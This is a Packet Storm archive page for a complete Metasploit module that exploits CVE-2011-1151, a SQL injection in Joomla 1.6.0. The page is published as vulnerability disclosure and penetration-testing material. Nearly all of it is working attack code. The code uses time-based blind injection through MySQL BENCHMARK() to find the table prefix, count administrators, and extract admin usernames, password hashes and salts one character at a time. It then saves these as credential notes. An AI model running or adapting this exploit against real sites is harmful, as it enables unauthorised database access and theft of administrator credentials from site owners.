what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Joomla 1.6.0 SQL Injection

Joomla 1.6.0 SQL Injection
Posted May 31, 2011
Authored by James Bercegay | Site gulftech.org

A vulnerability was discovered by Aung Khant that allows for exploitable SQL Injection attacks against a Joomla 1.6.0 install. This exploit attempts to leverage the SQL Injection to extract admin credentials, and then store those credentials within the notes_db. The vulnerability is due to a validation issue in /components/com_content/models/category.php that erroneously uses the "string" type whenever filtering the user supplied input. This issue was fixed by performing a whitelist check of the user supplied order data against the allowed order types, and also escaping the input.

tags | exploit, php, sql injection
advisories | CVE-2011-1151
SHA-256 | 647e5aeb46772c7d0cdb8e0649db65e77ffaa67a35949d881a8ff0eac18b6c6d

Joomla 1.6.0 SQL Injection

Change Mirror Download
# Requirements
require 'msf/core'

# Class declaration
class Metasploit3 < Msf::Auxiliary

# Includes
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient

# Initialize module
def initialize(info = {})

# Initialize information
super(update_info(info,
'Name' => 'Joomla 1.6.0 // SQL Injection Exploit',
'Description' => %q{
A vulnerability was discovered by Aung Khant that allows for exploitable SQL Injection attacks
against a Joomla 1.6.0 install. This exploit attempts to leverage the SQL Injection to extract
admin credentials, and then store those credentials within the notes_db.

The vulnerability is due to a validation issue in /components/com_content/models/category.php
that erroneously uses the "string" type whenever filtering the user supplied input. This issue
was fixed by performing a whitelist check of the user supplied order data against the allowed
order types, and also escaping the input.

NOTES:
------------------------------------------------
* Do not set the BMCT option too high!
* Do not set the BMCT option too low either ...
* A delay of about three to five seconds is ideal
* Increase BMRC if you have issues with reliability
},
'Author' =>
[
# Exploit Only (Bug credit to Aung Khant)
'James Bercegay <james[at]gulftech.org> ( http://www.gulftech.org/ )'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-1151' ],
[ 'http://0x6a616d6573.blogspot.com/2011/04/joomla-160-sql-injection-analysis-and.html' ],
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'March 17, 2011',
'DefaultTarget' => 0 ))

register_options(
[
# Required
OptString.new('JDIR', [true, 'Joomla directory', '/']),

# The number of function iterations to run during the benchmark
OptInt.new('BMCT', [true, 'The number of iterations performed by BENCHMARK()', 500000 ]),

# This is the benchmark delay threshold (in seconds)
OptInt.new('BMDF', [true, 'The difference, in seconds, of a delayed request vs a normal request', 3 ]),

# The number of benchmark tests to make during each data request.
# This number may be increased for accuracy if you have problems.
OptInt.new('BMRC', [true, 'The number of benchmark requests to perform per operation (Speed vs Accuracy)', 1 ]),

# Optional
OptBool.new( 'DBUG', [false, 'Verbose output? (Debug)' , nil ]),
OptString.new('AGNT', [false, 'User Agent Info' , 'Mozilla/5.0' ]),

# Database prefix
OptString.new('PREF', [false, 'Joomla atabase prefixt', 'jos_' ]),

# Admin account extraction limit
OptInt.new('ALIM', [false, 'The number of admin accounts to extract (default is all available accounts)', nil ]),

# Specific admin user ID to target
OptInt.new('AUID', [false, 'Target a specific admin user id', nil ]),

# URI used to trigger the bug
OptString.new('JURI', [false, 'URI to trigger bug', "index.php/extensions/components/" ]),

# Query used to trigger bug
OptString.new('JQRY', [false, 'URI to trigger bug', "filter_order_Dir=1&filter_order=" ]),

], self.class)
end
#################################################

# Extract "Set-Cookie"
def init_cookie(data, cstr = true)

# Raw request? Or cookie data specifically?
data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data

# Beginning
if ( data )

# Break them apart
data = data.split(', ')

# Initialize
ctmp = ''
tmps = {}

# Parse cookies
data.each do | x |

# Remove extra data
x = x.split(';')[0]

# Seperate cookie pairs
if ( x =~ /([^;\s]+)=([^;\s]+)/im )

# Key
k = $1

# Val
v = $2

# Valid cookie value?
if ( v.length() > 0 )

# Build cookie hash
tmps[k] = v

# Report cookie status
print_status("Got Cookie: #{k} => #{v}");
end
end
end

# Build string data
if ( cstr == true )

# Loop
tmps.each do |x,y|

# Cookie key/value
ctmp << "#{x}=#{y};"
end

# Assign
tmps['cstr'] = ctmp
end

# Return
return tmps
else
# Something may be wrong
init_debug("No cookies within the given response")
end
end

#################################################

# Simple debugging output
def init_debug(resp, exit = 0)

# is DBUG set? Check it
if ( datastore['DBUG'] )

# Print debugging data
print_status("######### DEBUG! ########")
pp resp
print_status("#########################")
end

# Continue execution
if ( exit.to_i > 0 )

# Exit
exit(0)
end

end

#################################################

# Generic post wrapper
def http_post(url, data, headers = {}, timeout = 15)

# Protocol
proto = datastore['SSL'] ? 'https': 'http'

# Determine request url
url = url.length ? url: ''

# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']

# Determine Content-Type
headers['Content-Type'] = headers['Content-Type'] ?
headers['Content-Type'] : "application/x-www-form-urlencoded"

# Determine Content-Length
headers['Content-Length'] = data.length

# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

# Delete all the null headers
headers.each do | hkey, hval |

# Null value
if ( !hval )

# Delete header key
headers.delete(hkey)
end
end

# Send request
resp = send_request_raw(
{
'uri' => datastore['JDIR'] + url,
'method' => 'POST',
'data' => data,
'headers' => headers
},
timeout )

# Returned
return resp

end

#################################################

# Generic post multipart wrapper
def http_post_multipart(url, data, headers = {}, timeout = 15)

# Boundary string
bndr = Rex::Text.rand_text_alphanumeric(8)

# Protocol
proto = datastore['SSL'] ? 'https': 'http'

# Determine request url
url = url.length ? url: ''

# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']

# Determine Content-Type
headers['Content-Type'] = headers['Content-Type'] ?
headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"

# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

# Delete all the null headers
headers.each do | hkey, hval |

# Null value
if ( !hval )

# Delete header key
headers.delete(hkey)
end
end

# Init
temp = ''

# Parse form values
data.each do |name, value|

# Hash means file data
if ( value.is_a?(Hash) )

# Validate form fields
filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1)
contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1)
mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1)
encoding = value['encoding'] ? value['encoding']: "Binary"

# Build multipart data
temp << "--#{bndr}\r\n"
temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n"
temp << "Content-Type: #{mimetype}\r\n"
temp << "Content-Transfer-Encoding: #{encoding}\r\n"
temp << "\r\n"
temp << "#{contents}\r\n"

else
# Build multipart data
temp << "--#{bndr}\r\n"
temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"
temp << "\r\n"
temp << "#{value}\r\n"
end
end

# Complete the form data
temp << "--#{bndr}--\r\n"

# Assigned
data = temp

# Determine Content-Length
headers['Content-Length'] = data.length

# Send request
resp = send_request_raw(
{
'uri' => datastore['JDIR'] + url,
'method' => 'POST',
'data' => data,
'headers' => headers
},
timeout)

# Returned
return resp

end

#################################################

# Generic get wrapper
def http_get(url, headers = {}, timeout = 15)

# Protocol
proto = datastore['SSL'] ? 'https': 'http'

# Determine request url
url = url.length ? url: ''

# Determine User-Agent
headers['User-Agent'] = headers['User-Agent'] ?
headers['User-Agent'] : datastore['AGNT']

# Determine Referer
headers['Referer'] = headers['Referer'] ?
headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

# Delete all the null headers
headers.each do | hkey, hval |

# Null value // Also, remove post specific data, due to a bug ...
if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )

# Delete header key
headers.delete(hkey)
end
end

# Send request
resp = send_request_raw({
'uri' => datastore['JDIR'] + url,
'headers' => headers,
'method' => 'GET',
}, timeout)

# Returned
return resp

end

#################################################

# Used to perform benchmark querys
def sql_benchmark(test, table = nil, where = '1 LIMIT 1', tnum = nil )

# Init
wait = 0

# Defaults
table = table ? table: 'users'

# SQL Injection string used to trigger the MySQL BECNHMARK() function
sqli = Rex::Text.uri_encode("( SELECT IF(#{test}, BENCHMARK(#{datastore['BMCT']}, MD5(1)), 0) FROM #{datastore['PREF']}#{table} WHERE #{where} ),")

# Number of tests to run. We run this
# amount of tests and then look for a
# median value that is greater than
# the benchmark difference.
tnum = tnum ? tnum: datastore['BMRC']

# Run the tests
tnum.to_i.times do | i |

# Start time
bmc1 = Time.now.to_i

# Make the request
init_debug(http_post(datastore['JURI'], "#{datastore['JQRY']}#{sqli}"))

# End time
bmc2 = Time.now.to_i

# Total time
wait += bmc2 - bmc1
end

# Return the results
return ( wait.to_i / tnum.to_i )

end

#################################################

def get_users_data(snum, slim, cset, sqlf, sqlw)

# Start time
tot1 = Time.now.to_i

# Initialize
reqc = 0
retn = String.new

# Extract salt
for i in snum..slim

# Offset position
oset = ( i - snum ) + 1

# Loop charset
for cbit in cset

# Test character
cbit.each do | cchr |

# Start time (overall)
bmc1 = Time.now.to_i

# Benchmark query
bmcv = sql_benchmark("SUBSTRING(#{sqlf},#{i},1) LIKE BINARY CHAR(#{cchr.ord})", "users", sqlw, datastore['BMRC'])

# Noticable delay? We must have a match! ;)
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )

# Verbose
print_status(sprintf("Character %02s is %s", oset.to_s, cchr ))

# Append chr
retn << cchr

# Exit loop
break
end

# Counter
reqc += 1

end # each
end # for

# Host not vulnerable?
if ( oset != retn.length )

# Failure
print_error("Unable to extract character ##{oset.to_s}. Extraction failed!")
return nil
end
end # for

# End time (total)
tot2 = Time.now.to_i

# Benchmark totals
tot3 = tot2 - tot1

# Verbose
print_status("Found data: #{retn}")
print_status("Operation required #{reqc.to_s} requests ( #{( tot3 / 60 ).to_s} minutes )")

# Return
return retn
end

#################################################

def run

# Numeric test string
tstr = Time.now.to_i.to_s

# MD5 test string
tmd5 = Rex::Text.md5(tstr)

#################################################
# STEP 01 // Attempt to extract Joomla version
#################################################

# Verbose
print_status("Attempting to determine Joomla version")

# Banner grab request
resp = http_get("index.php")

# Extract Joomla version information
if ( resp.body =~ /name="generator" content="Joomla! ([^\s]+)/ )

# Version
vers = $1.strip

# Version "parts"
ver1, ver2, ver3 = vers.split(/\./)

# Only if 1.6.0 aka 1.6
if ( ver2.to_i != 6 || ver3 )

# Exploit failed
print_error("Only Joomla versions 1.6.0 and earlier are vulnerable")
print_error("Proceed with extreme caution, as the exploit may fail")
init_debug(resp)
else

# Verbose
print_status("The target is running Joomla version : #{vers}")
end
else

# Verbose
print_error("Unable to determine Joomla version ...")
end

#################################################
# STEP 02 // Trigger an SQL error in order to get
# the database table prefix for future use.
#################################################

# Trigger an SQL error
resp = http_post(datastore['JURI'], "#{datastore['JQRY']}#{tmd5}")

# Attempt to extract the table prefix
if ( resp.body =~ /ORDER BY \s*#{tmd5}/ && resp.body =~ /FROM ([^\s]*)content / )

# Prefix
datastore['PREF'] = $1

# Verbose
print_status("Host appears vulnerable!")
print_status("Got database table prefix : #{datastore['PREF']}")
end

#################################################
# STEP 03 // Calculate BENCHMARK() response times
#################################################

# Verbose
print_status("Calculating target response times")
print_status("Benchmarking #{datastore['BMRC']} normal requests")

# Normal request median (globally accessible)
datastore['BMC0'] = sql_benchmark("1=2")

# Verbose
print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds")
print_status("Benchmarking #{datastore['BMRC']} delayed requests")

# Delayed request median
bmc1 = sql_benchmark("1=1")

# Verbose
print_status("Delayed request avg: #{bmc1.to_s} seconds")

# Benchmark totals
bmct = bmc1 - datastore['BMC0']

# Delay too small. The host may not be
# vulnerable. Try increasing the BMCT.
if ( bmct.to_i < datastore['BMDF'].to_i )

# Verbose
print_error("Either your benchmark threshold is too small, or host is not vulnerable")
print_error("To increase the benchmark threshold adjust the value of the BMDF option")
print_error("To increase the expression iterator adjust the value of the BMCT option")
return
else
# Host appears exploitable
print_status("Request Difference: #{bmct.to_s} seconds")
end

atot = 0 # Total admins
scnt = 0 # Step counter
step = 10 # Step increment
slim = 10000 # Step limit

# 42 is the hard coded base uid within Joomla ...
# ... and the answer to the ultimate question! ;]
snum = 42

# No user supplied limit?
if ( datastore['ALIM'].to_i == 0 && datastore['AUID'].to_i == 0 )

# Verbose
print_status("Calculating total number of administrators")

# Check how many admin accounts are in the database
for i in 0..slim do

# Benchmark
bmcv = sql_benchmark("1", "user_usergroup_map", "group_id=8 LIMIT #{i.to_s},1", datastore['BMRC'])

# If we do not have a delay, then we have reached the end ...
if ( !( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) )

# Range
atot = i

# Verbose
print_status("Successfully confirmed #{atot.to_s} admin accounts")

# Exit loop
break
end
end
else

# User supplied limit
atot = datastore['AUID'] ? 1: datastore['ALIM']
end

#################################################
# STEP 04 // Attempting to find a valid admin id
#################################################

# Loops until limit
while ( snum < slim && scnt < atot )

# Specific admin user ID?
if ( datastore['AUID'].to_i == 0 )

# Verbose
print_status("Attempting to find a valid admin ID")

# Verbose
print_status("Stepping from #{snum.to_s} to #{slim.to_s} by #{step.to_s}")

# Here we attempt to find a valid admin user id by incrementally searching the table
# "user_usergroup_map" for users belonging to the user group 8, which is, by default
# the admin user group. First we step through 10 at a time until we pass up a usable
# admin id, then we step back by #{step} and increment by one until we have a match.
for i in snum.step(slim, step)

# Benchmark
bmcv = sql_benchmark("#{i} > user_id", "user_usergroup_map", "group_id=8 LIMIT #{scnt.to_s},1", datastore['BMRC'])

# Noticable delay? We must have a match! ;)
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )

# Range
itmp = i

# Exit loop
break
else

# Out of time ..
if ( i == slim )

# Failure
print_error("Unable to find a valid user id. Exploit failed!")
return
end

end
end

# Jump back by #{step} and increment by one
for i in ( itmp - step ).upto(( itmp + step ))

# Benchmark
bmcv = sql_benchmark("user_id = #{i}", "user_usergroup_map", "group_id=8 LIMIT #{scnt.to_s},1", datastore['BMRC'])

# Noticable delay? We must have a match! ;)
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )

# UserID
auid = i

# Verbose
print_status("Found a valid admin account uid : #{auid.to_s}")

# Step Counter
scnt += 1

# Exit loop
break
else

# Out of time ..
if ( i == ( itmp + step ) )

# Failure
print_error("Unable to find a valid user id. Exploit failed!")
return
end
end
end
else

# Specific admin id target
auid = datastore['AUID']
print_status("Targeting admin user id: #{auid.to_s}")
end

#################################################
# These are the charsets used for the enumeration
# operations and can be easily expanded if needed
#################################################

# Hash charset a-f0-9
hdic = [ ('a'..'f'), ('0'..'9') ]

# Salt charset a-zA-Z0-9
sdic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]

# Username charset
udic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]

#################################################
# STEP 05 // Attempt to extract admin pass hash
#################################################

# Verbose
print_status("Attempting to gather admin password hash")

# Get pass hash
if ( !( hash = get_users_data(
1, # Length Start
32, # Length Maximum
hdic, # Charset Array
"password", # SQL Field name
"id=#{auid.to_s}" # SQL Where data
) ) )

# Failure
print_error("Unable to gather admin pass hash. Exploit failed!!")
return
end

#################################################
# STEP 06 // Attempt to extract admin pass salt
#################################################

# Verbose
print_status("Attempting to gather admin password salt")

# Get pass salt
if ( !( salt = get_users_data(
34, # Length Start
65, # Length Maximum
sdic, # Charset Array
"password", # SQL Field name
"id=#{auid.to_s}" # SQL Where data
) ) )

# Failure
print_error("Unable to gather admin pass salt. Exploit failed!!")
return
end


#################################################
# STEP 08 // Attempt to extract admin username
#################################################

# Verbose
print_status("Attempting to determine target username length")

# Hard limit is 150
for i in 1.upto(150)

# Benchmark
bmcv = sql_benchmark("LENGTH(username)=#{i.to_s}", "users", "id=#{auid.to_s}", datastore['BMRC'])

# Noticable delay? We must have a match! ;)
if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )

# Length
ulen = i

# Verbose
print_status("The username is #{i.to_s} characters long")

# Exit loop
break
end
end

# Verbose
print_status('Gathering admin username')

# Get pass salt
if ( !( user = get_users_data(
1, # Length Start
ulen, # Length Maximum
udic, # Charset Array
"username", # SQL Field name
"id=#{auid.to_s}" # SQL Where data
) ) )

# Failure
print_error("Unable to gather admin user name. Exploit failed!!")
return
end

# Verbose
print_status("USER: #{user} (ID: #{auid.to_s})")
print_status("HASH: #{hash}")
print_status("SALT: #{salt}")
print_status("Inserting credentials into the note database ...")

# Note data
ndat = {

# Joomla directory
"JDIR" => datastore['JDIR'],

# Admin ID
"AUID" => auid,

# Admin User
"USER" => user,

# Admin Hash
"HASH" => hash,

# Admin Salt
"SALT" => salt,
}

# Save results
report_note(
:host => datastore['RHOST'],
:proto => ( !datastore['SSL'] ) ? 'HTTP': 'HTTPS',
:port => datastore['RPORT'],
:type => "Joomla Admin Credentials",
:data => ndat
)
end # while
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    0 Files
  • 5
    Jul 5th
    0 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close